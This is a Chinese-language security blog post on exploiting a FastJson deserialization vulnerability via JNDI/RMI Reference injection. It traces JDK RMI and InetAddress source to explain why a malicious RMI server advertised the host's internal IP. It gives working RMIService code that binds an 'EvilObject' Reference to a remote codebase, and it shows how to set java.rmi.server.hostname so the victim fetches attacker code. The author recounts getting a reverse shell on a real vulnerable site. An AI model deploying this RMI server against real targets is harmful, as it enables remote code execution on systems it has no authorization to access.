RMI ReferenceWrapper_Stub With Hostname

概要

去年我salt大哥带我搞一个存在FastJson漏洞站的时候, 在ECS上启动rmi后,使用Reference 加载远程codebase代码库的方法, 但是一直没能成功执行命令。
最后才了解到需要修改掉/etc/hostname文件为公网ip地址才能够正常利用, 在修改掉/etc/hostname为公网ip后,成功弹回来了shell。

失败原因

当时使用的启动rmi服务的java代码。
RMIService.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
public class RMIService {
public static void main(String args[]) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
Reference refObj = new Reference("EvilObject", "EvilObject", "http://127.0.0.1:8000/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/refObj'");
registry.bind("refObj", refObjWrapper);
}
}

RMI在绑定refObjWrapper时, 绑定的其实是refObjWrapper_Stub
-w470

启动RMI后, 用nmap扫描可以发现, ReferenceWrapper_Stub引用到了一个内网ip中。

在客户端从RMI中获取到ReferenceWrapper_Stub后, 经过this.decode还原成ReferenceWrapper, 然后尝试去加载这个引用, 但是因为内网ip的原因直接加载失败。 这个内网ip是ECS的内网ip, 在客户端这边肯定就加载失败了。

-w1025

RMI ReferenceWrapper_Stub

在实例化ReferenceWrapper时,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
String var7 = resampleLocalHost();
if (var6 == null) {
var3 = new TCPEndpoint(var7, var0, var1, var2);
var6 = new LinkedList();
var6.add(var3);
var3.listenPort = var0;
var3.transport = new TCPTransport(var6);
localEndpoints.put(var5, var6);
if (TCPTransport.tcpLog.isLoggable(Log.BRIEF)) {
TCPTransport.tcpLog.log(Log.BRIEF, "created local endpoint for socket factory " + var2 + " on port " + var0);
}
} else {
synchronized(var6) {
var3 = (TCPEndpoint)var6.getLast();
String var9 = var3.host;
int var10 = var3.port;
TCPTransport var11 = var3.transport;
if (var7 != null && !var7.equals(var9)) {
if (var10 != 0) {
var6.clear();
}
var3 = new TCPEndpoint(var7, var10, var1, var2);
var3.listenPort = var0;
var3.transport = var11;
var6.add(var3);
}
}
}

通过resampleLocalHost来获取 Reference 要引用到的ip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
private static String resampleLocalHost() {
String var0 = getHostnameProperty();
Map var1 = localEndpoints;
synchronized(localEndpoints) {
if (var0 != null) {
if (!localHostKnown) {
setLocalHost(var0);
} else if (!var0.equals(localHost)) {
localHost = var0;
if (TCPTransport.tcpLog.isLoggable(Log.BRIEF)) {
TCPTransport.tcpLog.log(Log.BRIEF, "updated local hostname to: " + localHost);
}
}
}
return localHost;
}
}

首先尝试使用getHostnameProperty来获取ip

1
2
3
4
private static String getHostnameProperty() {
return (String)AccessController.doPrivileged(new GetPropertyAction("java.rmi.server.hostname"));
}

但是这里由于我们的RMIService没有设置java.rmi.server.hostname所以这里返回null。
当从getHostnameProperty获取ip失败时, 直接返回localhost属性。

localhost属性在静态方法中被设置。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
static {
if (localHost == null) {
try {
InetAddress var0 = InetAddress.getLocalHost();
byte[] var1 = var0.getAddress();
if (var1[0] == 127 && var1[1] == 0 && var1[2] == 0 && var1[3] == 1) {
localHostKnown = false;
}
if (getBoolean("java.rmi.server.useLocalHostName")) {
localHost = TCPEndpoint.FQDN.attemptFQDN(var0);
} else {
localHost = var0.getHostAddress();
}
} catch (Exception var2) {
localHostKnown = false;
localHost = null;
}
}
if (TCPTransport.tcpLog.isLoggable(Log.BRIEF)) {
TCPTransport.tcpLog.log(Log.BRIEF, "localHostKnown = " + localHostKnown + ", localHost = " + localHost);
}
localEndpoints = new HashMap();
}

这里使用了InetAddress.getLocalHost()来获取ip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
public static InetAddress getLocalHost() throws UnknownHostException {
SecurityManager security = System.getSecurityManager();
try {
String local = impl.getLocalHostName(); // 获取HostName, linux系统可以通过修改/etc/hostname文件内容来设置hostname。
if (security != null) {
security.checkConnect(local, -1);
}
if (local.equals("localhost")) {
return impl.loopbackAddress();
}
InetAddress ret = null;
synchronized (cacheLock) {
long now = System.currentTimeMillis();
if (cachedLocalHost != null) {
if ((now - cacheTime) < maxCacheTime) // Less than 5s old?
ret = cachedLocalHost;
else
cachedLocalHost = null;
}
// we are calling getAddressesFromNameService directly
// to avoid getting localHost from cache
if (ret == null) {
InetAddress[] localAddrs;
try {
localAddrs =
InetAddress.getAddressesFromNameService(local, null);
// 使用该方法根据hostname DNS解析出ip
// 这里传入该方法的hostname, 默认是在ECS的/etc/hosts中配置为内网ip。
// root@iZwz9dtic2d71ttfu58hzhZ:/tmp# cat /etc/hosts
// 127.0.0.1 localhost
// # The following lines are desirable for IPv6 capable hosts
// ::1 localhost ip6-localhost ip6-loopback
// ff02::1 ip6-allnodes
// ff02::2 ip6-allrouters
// 172.18.11.117 iZwz9dtic2d71ttfu58hzhZ iZwz9dtic2d71ttfu58hzhZ
} catch (UnknownHostException uhe) {
// Rethrow with a more informative error message.
UnknownHostException uhe2 =
new UnknownHostException(local + ": " +
uhe.getMessage());
uhe2.initCause(uhe);
throw uhe2;
}
cachedLocalHost = localAddrs[0];
cacheTime = now;
ret = localAddrs[0];
}
}
return ret;
} catch (java.lang.SecurityException e) {
return impl.loopbackAddress();
}
}

所以Reference的ip就成了ECS的内网ip。这里只要把Reference引用到ECS的公网ip上 就能成功利用了。
所以可以通过修改/etc/hostname为公网ip来成功利用, 但是修改/etc/hostname后得重启才能生效,
更好的方法是通过hostname 公网ip命令 来实现不重启修改hostname(其实也就是修改/proc/sys/kernel/hostname文件内容)。

从上面也可以看出, 如果设置了java.rmi.server.hostname属性之后, 该属性值就会覆盖掉静态方法所设置的localhost属性。
所以在启动rmi的时候 设置java.rmi.server.hostname属性为公网ip即可。

RMIService.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
public class RMIService {
public static void main(String args[]) throws Exception {
System.setProperty("java.rmi.server.hostname", "你的公网ip");
Registry registry = LocateRegistry.createRegistry(1099);
Reference refObj = new Reference("EvilObject", "EvilObject", "http://127.0.0.1:8000/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/refObj'");
registry.bind("refObj", refObjWrapper);
}
}

再用nmap扫描, 就能够发现已经变为公网ip了。
-w479

References

https://docs.oracle.com/javase/7/docs/platform/rmi/spec/rmiTOC.html